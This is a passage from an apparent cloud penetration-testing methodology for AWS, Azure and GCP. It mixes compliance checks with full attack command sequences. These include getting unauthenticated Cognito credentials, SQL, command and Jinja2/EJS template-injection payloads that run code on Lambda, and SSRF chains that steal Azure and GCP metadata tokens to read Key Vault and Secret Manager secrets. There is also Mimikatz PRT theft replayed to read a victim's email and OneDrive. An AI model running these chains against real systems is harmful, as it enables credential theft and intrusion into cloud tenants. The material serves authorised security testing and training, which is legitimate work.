# CIS Benchmark aligned assessment  
prowler aws --compliance cis_1.5_aws \  
--output-formats html \  
--output-path ./cis-results/
```

Method 4 — Cross-Account S3 Access Analysis

```
# Get bucket policy and examine for external principals  
aws s3api get-bucket-policy --bucket <bucket-name> \  
--query Policy --output text | python3 -m json.tool | \  
grep -A5 '"Principal"'  
  
# Dangerous patterns in bucket policies:  
# "Principal": "*" = anyone on internet  
# "Principal": {"AWS": "arn:aws:iam::*:root"} = any AWS account worldwide  
# "Principal": {"AWS": "arn:aws:iam::999999999999:root"} = specific external  
account  
  
# Check for AuthenticatedUsers ACL grants (any of 300M+ AWS users worldwide)  
aws s3api get-bucket-acl --bucket <bucket-name> | \  
grep -i "authenticatedusers\|AllUsers"
```

✓ Critical S3 Misconfiguration:

```
CRITICAL - s3_bucket_public_access - FAIL  
Bucket 'targetcompany-backup' allows public access to all objects.  
BlockPublicAcls: False  
BlockPublicPolicy: False  
BucketACL: AllUsers has s3:GetObject permission.
```

✗ Secure S3 Configuration:

- Block Public Access: All four settings true at account and bucket level.
- Encryption: All buckets use SSE-KMS with customer-managed keys.
- Logging: All buckets have access logging to a centralised log bucket.
- Versioning: All production buckets have versioning with MFA delete.

CSEC-STOR-02 — Azure Blob and GCS Storage Assessment

Objective: Test Azure Blob Storage containers and GCS buckets for public access, missing encryption, and overly permissive IAM policies.

Method 1 — Azure Blob Storage

```
# List all storage accounts with security settings
az storage account list --output table \
  --query "[*].{
    Name:name,
    ResourceGroup:resourceGroup,
    AllowBlobPublicAccess:allowBlobPublicAccess,
    EnableHTTPS:enableHttpsTrafficOnly,
    TLS:minimumTlsVersion
  }"

# Get storage account key
STORAGE_KEY=$(az storage account keys list \
  --account-name <storage-account-name> \
  --resource-group <resource-group> \
  --query "[0].value" --output tsv)

# List all containers with their public access level
az storage container list \
  --account-name <storage-account-name> \
  --account-key "$STORAGE_KEY" \
  --output table \
  --query "[*].{Name:name,PublicAccess:properties.publicAccess}"

# Test anonymous container access
curl -s "https://<account>.blob.core.windows.net/<container>?
restype=container&comp=list"

# Download a blob anonymously (if public)
curl -O "https://<account>.blob.core.windows.net/<container>/<blob-name>"

# Prowler Azure storage checks
prowler azure --checks \
  storage_blob_public_access_level_is_disabled \
  storage_secure_transfer_to_storage_accounts_enabled \
  storage_min_tls_version_is_1_2 \
  storage_blob_container_soft_delete_is_enabled \
  --az-cli-auth \
  --subscription-ids <subscription-id>
```

Method 2 — Google Cloud Storage (GCS)

```
# List all GCS buckets
gsutil ls

# Check bucket IAM policy (look for allUsers or allAuthenticatedUsers)
gsutil iam get gs://<bucket-name>
# allUsers = anyone on internet (CRITICAL)
# allAuthenticatedUsers = any Google user worldwide (HIGH)

# Check bucket ACL
gsutil acl get gs://<bucket-name>

# Test anonymous listing
gsutil ls gs://<bucket-name> -u anonymous
curl -s "https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

# Download a file without authentication (if public)
gsutil cp gs://<bucket-name>/sensitive_file.sql ./
curl -O "https://storage.googleapis.com/<bucket-name>/sensitive_file.sql"

# Test write access
echo "pentest_probe" > probe.txt
gsutil cp probe.txt gs://<bucket-name>/pentest_probe.txt

# Check versioning
gsutil versioning get gs://<bucket-name>

# Check audit logging
gcloud storage buckets describe gs://<bucket-name> \
  --format="json(iamConfiguration,logging)"

# Prowler GCP storage checks
prowler gcp --checks \
  gcs_bucket_public_access \
  gcs_bucket_default_encryption_customer_managed_key \
  gcs_bucket_log_enabled \
  --project-ids <project-id>
```

Phase 5 — AWS Platform-Specific Attack Techniques

Module ID: CSEC-AWS **Objective:** Demonstrate exploitable vulnerabilities in specific AWS services commonly found in real-world environments. Each activity covers a distinct service, provides the full command sequence, and includes both successful (vulnerable) and unsuccessful (secure) responses.

CSEC-AWS-01 — Amazon Cognito Security Testing

Objective: Enumerate Cognito User Pools and Identity Pools, test for user enumeration via sign-up responses, and identify misconfigurations in identity pool trust policies that may grant AWS credentials to unauthenticated users.

Pre-conditions

- Cognito-backed authentication identified in the target application.
- Look for requests to `cognito-idp.<region>.amazonaws.com` in network traffic.

⚡ Time-Saving Analysis

Finding	Immediate Action
Identity Pool <code>AllowUnauthenticatedIdentities: true</code>	Get AWS credentials without any login. Test what the unauthenticated role can access.
User enumeration via sign-up error	Build valid user list for credential stuffing or password spraying.
<code>ExplicitAuthFlows: USER_PASSWORD_AUTH</code>	Attempt brute-force on discovered usernames via <code>initiate-auth</code> .

Method 1 — Enumerate Cognito User Pools

```
# List all User Pools
aws cognito-idp list-user-pools --max-results 60 --output table \
  --query "UserPools[*].[Id,Name,CreationDate]"

# Get detailed configuration of a specific User Pool
aws cognito-idp describe-user-pool --user-pool-id <UserPoolId>
# Look for: PasswordPolicy, MfaConfiguration, AccountRecoverySetting

# List all app clients (contain the ClientIds for sign-up)
aws cognito-idp list-user-pool-clients \
  --user-pool-id <UserPoolId> \
  --output table \
  --query "UserPoolClients[*].[ClientId,ClientName]"

# Get app client configuration
aws cognito-idp describe-user-pool-client \
  --user-pool-id <UserPoolId> \
  --client-id <ClientId>
# Look for: ExplicitAuthFlows containing USER_PASSWORD_AUTH (insecure plaintext auth)
```

Method 2 — User Enumeration via Sign-Up

```
# Test with non-existent username (note the error message)
aws cognito-idp sign-up \
  --client-id <ClientId> \
  --username "nonexistent_user_xyz123" \
  --password "TestPassword123!" \
  --user-attributes Name=email,Value="nonexistent_xyz123@fakeemail.com"
# Secure: returns generic error regardless

# Test with known-existing username (note the DIFFERENT error message)
aws cognito-idp sign-up \
  --client-id <ClientId> \
  --username "admin" \
  --password "TestPassword123!" \
  --user-attributes Name=email,Value="admin@target.com"
# Vulnerable: returns UsernameExistsException – confirms 'admin' exists

# Test user enumeration via Login error messages
aws cognito-idp initiate-auth \
  --auth-flow USER_PASSWORD_AUTH \
  --auth-parameters USERNAME="nonexistent_xyz123",PASSWORD="WrongPassword" \
  --client-id <ClientId>
# Vulnerable if error differs from valid-user error (UserNotFoundException vs
NotAuthorizedException)
```

Method 3 — Unauthenticated Cognito Identity Pool Credential Issuance

```
# Step 1: List all Identity Pools
aws cognito-identity list-identity-pools --max-results 60 --output table \
  --query "IdentityPools[*].[IdentityPoolId,IdentityPoolName]"

# Step 2: Check if unauthenticated identities are allowed
aws cognito-identity describe-identity-pool \
  --identity-pool-id <IdentityPoolId>
# Look for: AllowUnauthenticatedIdentities: true

# Step 3: Get AWS credentials without ANY Login
IDENTITY_ID=$(aws cognito-identity get-id \
  --identity-pool-id <IdentityPoolId> \
  --account-id <AccountId> \
  --query IdentityId --output text)
echo "Got identity: $IDENTITY_ID"
```

```
aws cognito-identity get-credentials-for-identity \
  --identity-id "$IDENTITY_ID"
# Returns: AccessKeyId, SecretKey, SessionToken – Live AWS credentials with NO
Login!

# Step 4: Test permissions of the unauthenticated role
export AWS_ACCESS_KEY_ID=<AccessKeyId-from-above>
export AWS_SECRET_ACCESS_KEY=<SecretKey-from-above>
export AWS_SESSION_TOKEN=<SessionToken-from-above>

aws sts get-caller-identity
aws s3 ls 2>/dev/null && echo "Can list S3 buckets"
aws ec2 describe-instances 2>/dev/null && echo "Can list EC2 instances"
aws iam list-users 2>/dev/null && echo "Can list IAM users (CRITICAL)"
```

✓ Critical — Unauthenticated AWS Credentials:

```
{
  "Credentials": {
    "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
    "SecretKey": "wJalrXUtnFEMI/K7MDENG/bPxrFiCYEXAMPLEKEY",
    "SessionToken": "FQoGZXIvYXdzEJL...",
    "Expiration": "2024-01-15T18:00:00+00:00"
  }
}
```

CSEC-AWS-02 — AWS CloudTrail Assessment

Objective: Verify CloudTrail is enabled in all regions with log file validation and protected S3 storage. Attackers disable CloudTrail as an early post-exploitation step.

Method 1 — Enumerate CloudTrail Configuration

```
# List all trails including shadow trails in other regions
aws cloudtrail describe-trails --include-shadow-trails

# Check if trail is actually logging
aws cloudtrail get-trail-status --name <trail-name-or-arn>
# IsLogging: true = active | false = LOGGING DISABLED

# Check critical settings for all trails
aws cloudtrail describe-trails \
  --query "trailList[*].{
    Name:Name,
    LogFileValidation:LogFileValidationEnabled,
```

```

    S3Bucket:S3BucketName,
    MultiRegion:IsMultiRegionTrail,
    GlobalEvents:IncludeGlobalServiceEvents
}" \
--output table
# LogFileValidationEnabled should be true
# IsMultiRegionTrail should be true
# IncludeGlobalServiceEvents should be true

# Get the Log S3 bucket and check its protections
TRAIL_BUCKET=$(aws cloudtrail describe-trails \
  --query "trailList[0].S3BucketName" --output text)

aws s3api get-bucket-policy --bucket "$TRAIL_BUCKET" \
  --query Policy --output text | python3 -m json.tool
aws s3api get-object-lock-configuration --bucket "$TRAIL_BUCKET"

# Run Prowler CloudTrail checks
prowler aws --services cloudtrail \
  --output-formats html json \
  --output-path ./prowler-cloudtrail/

prowler aws --checks \
  cloudtrail_multi_region_enabled \
  cloudtrail_log_file_validation_enabled \
  cloudtrail_s3_dataevents_read_enabled \
  cloudtrail_s3_dataevents_write_enabled \
  cloudtrail_cloudwatch_logging_enabled

# Verify GuardDuty (threat detection) is enabled
aws guardduty list-detectors
# Check ALL regions have detectors
for region in $(aws ec2 describe-regions \
  --query "Regions[].RegionName" --output text); do
  echo -n "$region: "
  aws guardduty list-detectors --region "$region" \
    --query "DetectorIds[0]" --output text 2>/dev/null || echo "NOT ENABLED"
done

# Verify Security Hub
aws securityhub describe-hub
aws securityhub get-enabled-standards

```

CSEC-AWS-03 — AWS Lambda Security Assessment

Objective: Identify Lambda functions with over-privileged IAM roles, sensitive data in environment variables, broad invocation policies, and event injection vulnerabilities.

Method 1 — Lambda Enumeration

```
# List all Lambda functions
aws lambda list-functions \
  --query "Functions[*].{
    Name:FunctionName,
    Runtime:Runtime,
    Role:Role,
    LastModified:LastModified,
    Timeout:Timeout,
    Memory:MemorySize
  }" \
  --output table

# Get full configuration of a specific function (includes env vars)
aws lambda get-function-configuration --function-name <function-name>

# Extract environment variables from ALL Lambda functions
for fn in $(aws lambda list-functions \
  --query "Functions[].FunctionName" --output text); do
  echo "=== $fn ==="
  aws lambda get-function-configuration \
    --function-name "$fn" \
    --query "Environment.Variables" \
    --output json 2>/dev/null
done

# Get resource-based policy (who can invoke this function)
aws lambda get-policy --function-name <function-name> \
  --query Policy --output text | python3 -m json.tool

# Look for: Principal: "*" = anyone can invoke

# Check for function URL with no auth (anyone can call it)
aws lambda get-function-url-config --function-name <function-name>

# AuthType: NONE = unauthenticated invocation allowed

# Download function source code for review
wget -O function-code.zip "$(aws lambda get-function \
  --function-name <function-name> \
```

```

--query 'Code.Location' --output text)"
unzip function-code.zip -d ./function-code-review/

# Search code for hardcoded secrets
grep -rniE "password|secret|api_key|api-key|AKIA|token|credential|private_key" \
./function-code-review/ \
--include="*.py" --include="*.js" --include="*.ts" --include="*.json" \
--include="*.env" --include="*.yaml" --include="*.yml"

```

Method 2 — Lambda Event Injection Testing

```

# Test SQL injection via event data
aws lambda invoke \
--function-name user-lookup-function \
--payload '{"username": "admin\'\' OR \'\'1\'\'=\'\'1\'\'--"}' \
--cli-binary-format raw-in-base64-out \
sqli_response.json && cat sqli_response.json

# Test command injection via event data
aws lambda invoke \
--function-name <function-name> \
--payload '{"command": "id; whoami; cat /etc/passwd"}' \
--cli-binary-format raw-in-base64-out \
cmdi_response.json && cat cmdi_response.json

# Test Jinja2 SSTI (Python Lambda)
aws lambda invoke \
--function-name email-template-function \
--payload '{"name": "{{7*7}}"}' \
--cli-binary-format raw-in-base64-out \
ssti_test.json && cat ssti_test.json
# Response containing 49 = SSTI confirmed

# Jinja2 RCE via SSTI
aws lambda invoke \
--function-name email-template-function \
--payload '{"name": "
{{config.__class__.__init__.__globals__[\"os\"].popen(\"id\").read()}}"}' \
--cli-binary-format raw-in-base64-out \
ssti_rce.json && cat ssti_rce.json

# Test EJS SSTI (Node.js Lambda)
aws lambda invoke \
--function-name node-template-function \

```

```
--payload '{"name": "<%= 7*7 %>"}' \
--cli-binary-format raw-in-base64-out \
ejs_ssti.json && cat ejs_ssti.json

# EJS RCE via SSTI
aws lambda invoke \
  --function-name node-template-function \
  --payload '{"name": "<%=
global.process.mainModule.require(\"child_process\").execSync(\"id\").toString()
%>"}' \
  --cli-binary-format raw-in-base64-out \
  ejs_rce.json && cat ejs_rce.json

# Test via API Gateway
curl -s -X POST \
  "https://<api-id>.execute-api.us-east-1.amazonaws.com/prod/users" \
  -H "Content-Type: application/json" \
  -d '{"username": "admin'\'' OR '\''1'\''=''\''1'\''--", "action": "lookup"}' \
  | python3 -m json.tool
```

CSEC-AWS-04 — Advanced AWS Exploitation with Pacu

(See CSEC-IAM-04 for full Pacu methodology — cross-reference)

Additional Pacu modules for platform-specific testing:

```
# Inside Pacu session:

# Enumerate Cognito pools
run cognito__enum

# Enumerate Lambda functions and try to invoke them
run lambda__enum
run lambda__backdoor_new_roles

# Enumerate RDS instances
run rds__enum_snapshots

# Check for IAM cross-account trust
run iam__detect_honeytokens

# Enumerate CloudWatch Logs (may contain sensitive data)
run cloudwatch__download_logs
```

```
# Enumerate Secrets Manager and Parameter Store
run secretsmanager__enum
run ssm__get_parameters_from_stores

# Test EC2 user data for sensitive information
run ec2__check_orphaned_instances
```

Phase 6 — Microsoft Azure Hacking

Module ID: CSEC-AZURE **Objective:** Systematically assess Microsoft Azure environments. Azure's identity model centres on Azure Active Directory (Entra ID) and its management hierarchy (Management Groups → Subscriptions → Resource Groups → Resources) means a single compromise at a high level cascades down to everything below it. This phase tests Azure AD enumeration, RBAC misconfiguration, Storage Account exposure, Managed Identity exploitation, and Key Vault access.

 **Key Point:** Azure AD is internet-accessible by design — it powers Office 365, Teams, and SharePoint. This means enumeration can begin with zero credentials and zero prior access to any Azure subscription.

CSEC-AZURE-01 — Azure Active Directory (Entra ID) Enumeration

Objective: Map the complete Azure AD tenant — all users, groups, service principals, and application registrations — to identify over-privileged identities.

Pre-conditions

- Valid Azure credentials (`az login` completed) or an access token.
- AzureGraph or ROADtools installed for comprehensive enumeration.

⚡ Time-Saving Analysis

Finding	Immediate Action
Account is Global Administrator	Full Azure AD control. Can create new accounts, reset passwords, issue tokens.
Service principal with <code>Owner</code> on subscription	Full subscription control equivalent to root.
App registration with <code>Directory.ReadWrite.All</code> Graph permission	Can read and write all Azure AD data.
Managed Identity with broad permissions	Test what services the identity can access — Key Vault, Storage, VMs.
Pass-the-PRT attack surface (Hybrid Azure AD joined device)	Steal PRT from device memory via Mimikatz for persistent access.

Method 1 — Azure CLI Core Enumeration

Authenticate interactively

```
az login
```

Authenticate as a service principal

```
az login --service-principal \  
  --username <app-id> \  
  --password <client-secret> \  
  --tenant <tenant-id>
```

List all accessible subscriptions

```
az account list --output table \  
  --query "[*].{Name:name,State:state,ID:id,TenantID:tenantId}"
```

Set the target subscription

```
az account set --subscription <subscription-id>
```

List all resource groups

```
az group list --output table \  
  --query "[*].{Name:name,Location:location,State:properties.provisioningState}"
```

List all Azure AD users

```
az ad user list --output table \  
  --query "[*].  
{DisplayName:displayName,UPN:userPrincipalName,Enabled:accountEnabled}"
```

List all Azure AD groups

```
az ad group list --output table \  
  --query "[*].{Name:displayName,ID:id,MailNickname:mailNickname}"
```

Get members of a specific group

```
az ad group member list \  
  --group "<group-name-or-id>" \  
  --output table
```

List Global Administrators

```
GLOBAL_ADMIN_ROLE_ID=$(az ad role definition list \  
  --query "[?displayName=='Global Administrator'].id" --output tsv)  
az role assignment list \  
  --all \  
  --query "[?roleDefinitionId=='$GLOBAL_ADMIN_ROLE_ID'].  
{Principal:principalName,PrincipalType:principalType}" \  
  --output table
```

```

# List all service principals
az ad sp list --output table \
  --query "[*].{DisplayName:displayName,AppId:appId,Enabled:accountEnabled}"

# List all RBAC role assignments (look for Owner/Contributor at subscription scope)
az role assignment list --all --output table \
  --query "[*].{Principal:principalName,Role:roleDefinitionName,Scope:scope}"

# Find users with Owner at subscription level (most dangerous)
az role assignment list --all \
  --query "[?roleDefinitionName=='Owner' && \
    scope=='/subscriptions/<subscription-id>'].
{Principal:principalName,PrincipalType:principalType}" \
  --output table

# List all app registrations and their API permissions
az ad app list --output table \
  --query "[*].{DisplayName:displayName,AppId:appId,SignInAudience:signInAudience}"

# Get permissions for a specific app registration
az ad app show --id <app-id> \
  --query "requiredResourceAccess"

```

Method 2 — AzureGraph for Comprehensive Enumeration

```

# Install AzureGraph
git clone https://github.com/WADComs/AzureGraph.git
cd AzureGraph
pip install -r requirements.txt --break-system-packages

# Run all enumeration modules
python3 AzureGraph.py --get-all-users
python3 AzureGraph.py --get-all-groups
python3 AzureGraph.py --get-all-service-principals
python3 AzureGraph.py --get-all-applications
python3 AzureGraph.py --get-privileged-roles
python3 AzureGraph.py --get-conditional-access-policies

```

Method 3 — ROADtools Deep Analysis

```

# Install ROADtools
pip install roadtools --break-system-packages

# Authenticate (interactive browser login)

```

```
roadrecon auth -u <username> -p <password> --tenant <tenant-id>
```

```
# Or authenticate with device code flow
```

```
roadrecon auth --device-code
```

```
# Gather all Azure AD data (stores in SQLite database)
```

```
roadrecon gather
```

```
# Launch web interface for visual exploration
```

```
roadrecon gui
```

```
# Navigate to: http://localhost:5000
```

```
# Export data to JSON for offline analysis
```

```
roadrecon dump
```

Method 4 — Azure Resource Enumeration

```
# List all virtual machines
```

```
az vm list --output table \
```

```
--query "[*].
```

```
{Name:name,ResourceGroup:resourceGroup,Size:hardwareProfile.vmSize,OS:storageProfile.osDisk.osType,PowerState:powerState}"
```

```
# List all storage accounts with security settings
```

```
az storage account list --output table \
```

```
--query "[*].
```

```
{Name:name,ResourceGroup:resourceGroup,AllowBlobPublicAccess:allowBlobPublicAccess,EnableHTTPS:enableHttpsTrafficOnly,TLS:minimumTlsVersion}"
```

```
# Get storage account access key
```

```
STORAGE_KEY=$(az storage account keys list \
```

```
--account-name <storage-account-name> \
```

```
--resource-group <resource-group> \
```

```
--query "[0].value" --output tsv)
```

```
# List all containers in a storage account
```

```
az storage container list \
```

```
--account-name <storage-account-name> \
```

```
--account-key "$STORAGE_KEY" \
```

```
--output table \
```

```
--query "[*].{Name:name,PublicAccess:properties.publicAccess}"
```

```
# List all Key Vaults
```

```
az keyvault list --output table \
```

```

--query "[*].{Name:name,ResourceGroup:resourceGroup,Location:location}"

# Check Key Vault access policies and network rules
az keyvault show \
  --name <vault-name> \
  --query "
{AccessPolicies:properties.accessPolicies,NetworkRules:properties.networkAcls}" \
  --output json

# List secrets in a Key Vault (if you have access)
az keyvault secret list --vault-name <vault-name> --output table

# Get a specific secret value
az keyvault secret show \
  --vault-name <vault-name> \
  --name <secret-name> \
  --query "value" --output tsv

# List all App Services
az webapp list --output table \
  --query "[*].
{Name:name,ResourceGroup:resourceGroup,URL:defaultHostName,State:state,HTTPS:httpsO
nly}"

# List all Azure Functions
az functionapp list --output table \
  --query "[*].
{Name:name,ResourceGroup:resourceGroup,URL:defaultHostName,State:state}"

# Get function app settings (may contain hardcoded secrets)
az functionapp config appsettings list \
  --name <app-name> \
  --resource-group <resource-group> \
  --output table

```

Method 5 — Prowler Azure Automated Assessment

```

# Run all Azure checks
prowler azure \
  --az-cli-auth \
  --subscription-ids <subscription-id> \
  --output-formats html json \
  --output-path ./prowler-azure-results/

```

```
# Run specific security checks
prowler azure --az-cli-auth \
  --subscription-ids <subscription-id> \
  --checks \
  storage_blob_public_access_level_is_disabled \
  storage_secure_transfer_to_storage_accounts_enabled \
  keyvault_soft_delete_is_enabled \
  keyvault_purge_protection_is_enabled \
  iam_ensure_mfa_is_enabled_for_all_users \
  network_rdp_access_restricted_from_internet \
  network_ssh_access_restricted_from_internet \
  defender_ensure_azure_defender_is_set_to_on \
  monitor_activity_log_alert_create_or_update_policy

# Run CIS Azure Benchmark
prowler azure \
  --az-cli-auth \
  --subscription-ids <subscription-id> \
  --compliance cis_2.0_azure \
  --output-formats html json \
  --output-path ./cis-azure/
```

CSEC-AZURE-02 — Azure Managed Identity Exploitation via SSRF

Objective: Demonstrate how an SSRF vulnerability in an Azure-hosted application can be used to steal the Managed Identity access token, which authenticates to any Azure service the identity has access to — without knowing any password.

Pre-conditions

- SSRF-vulnerable parameter identified in an Azure App Service, Function, or VM.
- The application has a Managed Identity assigned.

⚡ Time-Saving Analysis

Finding	Immediate Action
SSRF to Azure IMDS succeeds	Get management.azure.com token immediately. Use to enumerate all resources.
Token for vault.azure.net obtained	List and download all secrets from all Key Vaults.
Token for graph.microsoft.com obtained	Enumerate all Azure AD users, groups, and app registrations.
Storage account keys retrieved	Open Azure Storage Explorer. Browse and download all containers immediately.

Method — Full SSRF to IMDS Attack Chain

```
# Step 1: Identify the SSRF injection point
# Test these parameters: url, redirect, src, fetch, proxy, api, path, uri, link,
target

# Step 2: Test SSRF connectivity to Azure IMDS
curl -s "https://target-app.azurewebsites.net/proxy?
url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
-H "Metadata: true"
# If instance metadata is returned, SSRF to IMDS is confirmed

# Step 3: Get access token for Azure Resource Manager (management plane)
curl -s "https://target-app.azurewebsites.net/proxy?
url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-
01&resource=https://management.azure.com/" \
-H "Metadata: true"
# Returned token can access all Azure Resource Manager APIs

# Step 4: Get access token for Azure Key Vault
curl -s "https://target-app.azurewebsites.net/proxy?
url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-
01&resource=https://vault.azure.net" \
-H "Metadata: true"

# Step 5: Get access token for Microsoft Graph API (Azure AD data)
curl -s "https://target-app.azurewebsites.net/proxy?
url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-
01&resource=https://graph.microsoft.com/" \
-H "Metadata: true"

# Step 6: Use stolen token to authenticate to Azure (PowerShell)
Connect-AzAccount -AccessToken "<stolen-access-token>" -AccountId "<client-id>"

# Step 7: Retrieve storage account access keys
Get-AzStorageAccountKey \
-ResourceGroupName "<resource-group>" \
-AccountName "<storage-account-name>"

# Step 8: Use retrieved keys to access all storage data
az storage blob list \
--account-name <storage-account-name> \
--account-key "<retrieved-key>" \
```

```

--container-name <container-name> \
--output table

# Step 9: Use Graph token to List all Azure AD users
GRAPH_TOKEN="<stolen-graph-token>"
curl -s "https://graph.microsoft.com/v1.0/users" \
  -H "Authorization: Bearer $GRAPH_TOKEN"

# Step 10: List all Azure AD groups via Graph
curl -s "https://graph.microsoft.com/v1.0/groups" \
  -H "Authorization: Bearer $GRAPH_TOKEN"

# Step 11: List all Key Vault secrets using vault token
VAULT_TOKEN="<stolen-vault-token>"
curl -s "https://<vault-name>.vault.azure.net/secrets?api-version=7.3" \
  -H "Authorization: Bearer $VAULT_TOKEN"

# Get a specific secret value
curl -s "https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.3" \
  -H "Authorization: Bearer $VAULT_TOKEN"

```

✓ Critical — Token Stolen and Used:

```

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...",
  "expires_in": "3599",
  "token_type": "Bearer",
  "resource": "https://management.azure.com/"
}

```

✗ **Not Vulnerable:** SSRF to `169.254.169.254` returns timeout or access error. Application does not have a Managed Identity, or network policies block IMDS access.

CSEC-AZURE-03 — Pass-the-PRT Attack

Objective: Test whether a Primary Refresh Token (PRT) can be stolen from a registered device and used to impersonate the victim to any Azure AD-integrated service.

Method — PRT Theft and Replay

```

# Step 1: On a victim Windows device registered to Azure AD, dump the PRT with
Mimikatz

# (Requires admin/SYSTEM on the device)

```

```
mimikatz.exe "token::elevate" "sekurlsa::cloudap" "exit"
# This extracts the PRT and context key from LSASS memory

# Step 2: Use ROADtools to request a new token using the stolen PRT
# Install ROADtoken on attacker machine
pip install roadlib --break-system-packages

# Use the PRT to get an access token (no password needed)
roadrecon auth --prt <stolen-prt> \
  --prt-sessionkey <session-key> \
  -c <client-id> \
  -r https://graph.microsoft.com

# Step 3: Use the obtained token to access Azure AD
curl -s "https://graph.microsoft.com/v1.0/me" \
  -H "Authorization: Bearer <obtained-token>"

# List all files in the victim's OneDrive
curl -s "https://graph.microsoft.com/v1.0/me/drive/root/children" \
  -H "Authorization: Bearer <obtained-token>"

# Access the victim's email
curl -s "https://graph.microsoft.com/v1.0/me/messages?$top=10" \
  -H "Authorization: Bearer <obtained-token>"
```

 **Key Point:** PRT theft provides persistent access that survives password resets. The PRT is valid for 14 days and silently refreshes. Detection requires monitoring for anomalous token issuance patterns in Azure AD sign-in logs.

Phase 7 — Google Cloud Platform (GCP) Hacking

Module ID: CSEC-GCP **Objective:** Assess GCP environments using the hierarchy Organisation → Folders → Projects → Resources. The primary identities are service accounts and service account JSON keys. This phase tests IAM enumeration, service account key exposure, GCS bucket misconfiguration, and SSRF against the GCP metadata server.

CSEC-GCP-01 — GCP IAM and Resource Enumeration

Objective: Map all GCP projects accessible to compromised credentials, enumerate IAM role bindings, and discover all running resources.

Method 1 — Authenticate and Enumerate with gcloud CLI


```
# Authenticate with a service account JSON key file (found during recon)
gcloud auth activate-service-account \
  --key-file=/path/to/service-account-key.json

# Authenticate interactively as a user
gcloud auth login

# Verify current identity
gcloud auth list
gcloud config get-value account

# List all accessible GCP projects
gcloud projects list \
  --format="table(projectId,name,projectNumber,lifecycleState)"

# Set the active project
gcloud config set project <project-id>

# Get IAM policy for a project (who has what permissions)
gcloud projects get-iam-policy <project-id> --format=json
# Look for: roles/owner, roles/editor on external accounts or allUsers

# List all service accounts
gcloud iam service-accounts list \
  --format="table(email,displayName,disabled)"

# List all keys for a service account (USER_MANAGED keys = high risk)
gcloud iam service-accounts keys list \
  --iam-account <service-account-email> \
  --format="table(name,keyType,validAfterTime,validBeforeTime)"

# List all GCE (Compute Engine) instances
gcloud compute instances list \
  --
format="table(name,zone,status,networkInterfaces[0].accessConfigs[0].natIP,serviceAccounts[0].email)"

# List all Cloud Storage buckets
gsutil ls
gsutil ls -L gs://    # With more detail

# List all Cloud Functions
gcloud functions list \
```

```

--format="table(name,status,httpsTrigger.url,runtime)"

# List all Cloud Run services
gcloud run services list \
  --platform managed \
  --format="table(metadata.name,status.url,status.conditions[0].status)"

# List Cloud SQL instances (check requireSsl)
gcloud sql instances list \
  --
format="table(name,databaseVersion,region,settings.ipConfiguration.requireSsl,ipAddresses[0].ipAddress)"

# List GKE clusters
gcloud container clusters list \
  --
format="table(name,location,status,currentMasterVersion,masterAuthorizedNetworksConfig.enabled)"

# List Cloud KMS key rings (encryption key management)
gcloud kms keyrings list --location=global

# List Cloud Pub/Sub topics (may expose event data)
gcloud pubsub topics list

# List BigQuery datasets (may contain sensitive analytics data)
bq ls --project_id=<project-id>

# List Cloud Scheduler jobs (reveals automation and APIs)
gcloud scheduler jobs list

# List Secret Manager secrets
gcloud secrets list
# If accessible, get secret value:
gcloud secrets versions access latest --secret=<secret-name>

```

Method 2 — GCP Scanner for Comprehensive Enumeration

```

# Install GCP Scanner
git clone https://github.com/google/gcp_scanner.git
cd gcp_scanner
pip install -r requirements.txt --break-system-packages

# Scan using current gcloud credentials

```

```
python3 scanner.py -g ~/.config/gcloud -o ./gcp_scan_results/
# -g : Path to gcloud credentials directory
# -o : Output directory for scan results

# Scan using a service account JSON key
python3 scanner.py -k /path/to/service-account-key.json -o ./gcp_scan_results/

# Scan using GCE metadata server (from inside a compromised GCE instance)
python3 scanner.py -m -o ./gcp_scan_results/
# -m : Use the metadata server for credential extraction
```

Method 3 — SSRF to GCP Metadata Server Credential Theft

```
# Step 1: Test SSRF connectivity to GCP metadata server
curl -s "https://target-app.appspot.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/" \
-H "Metadata-Flavor: Google"
# Note: GCP requires the Metadata-Flavor: Google header – some SSRF filters miss this

# Step 2: Enumerate available metadata categories
curl -s "https://target-app.appspot.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/" \
-H "Metadata-Flavor: Google"

# Step 3: Get the service account identities on this instance
curl -s "https://target-app.appspot.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" \
-H "Metadata-Flavor: Google"

# Step 4: Steal the OAuth access token for the default service account
curl -s "https://target-app.appspot.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
# Returns: {"access_token": "ya29.xxxx", "expires_in": 3599, "token_type": "Bearer"}

# Step 5: Get the service account email
curl -s "https://target-app.appspot.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" \
-H "Metadata-Flavor: Google"
```

```
# Step 6: Use stolen token to access GCP APIs
```

```
TOKEN="ya29.xxxxx" # From step 4
```

```
# List GCS buckets
```

```
curl -s "https://storage.googleapis.com/storage/v1/b?project=<project-id>" \  
-H "Authorization: Bearer $TOKEN"
```

```
# List GCE instances
```

```
curl -s "https://compute.googleapis.com/compute/v1/projects/<project-  
id>/aggregated/instances" \  
-H "Authorization: Bearer $TOKEN"
```

```
# List all projects accessible to this service account
```

```
curl -s "https://cloudresourcemanager.googleapis.com/v1/projects" \  
-H "Authorization: Bearer $TOKEN" | python3 -m json.tool
```

```
# List Secret Manager secrets
```

```
curl -s "https://secretmanager.googleapis.com/v1/projects/<project-id>/secrets" \  
-H "Authorization: Bearer $TOKEN"
```

```
# Access a specific secret
```

```
curl -s "https://secretmanager.googleapis.com/v1/projects/<project-  
id>/secrets/<secret-name>/versions/latest:access" \  
-H "Authorization: Bearer $TOKEN"
```

✓ Critical — GCP Credentials Stolen via SSRF:

```
{  
  "access_token": "ya29.c.b0AXv0zTPKQWR...",  
  "expires_in": 3599,  
  "token_type": "Bearer"  
}
```

✗ **Not Vulnerable:** GCP metadata server inaccessible via SSRF. Network firewall blocks `metadata.google.internal`.

CSEC-GCP-02 — GCS Bucket Security Assessment

```
# List all accessible GCS buckets
```

```
gsutil ls
```

```
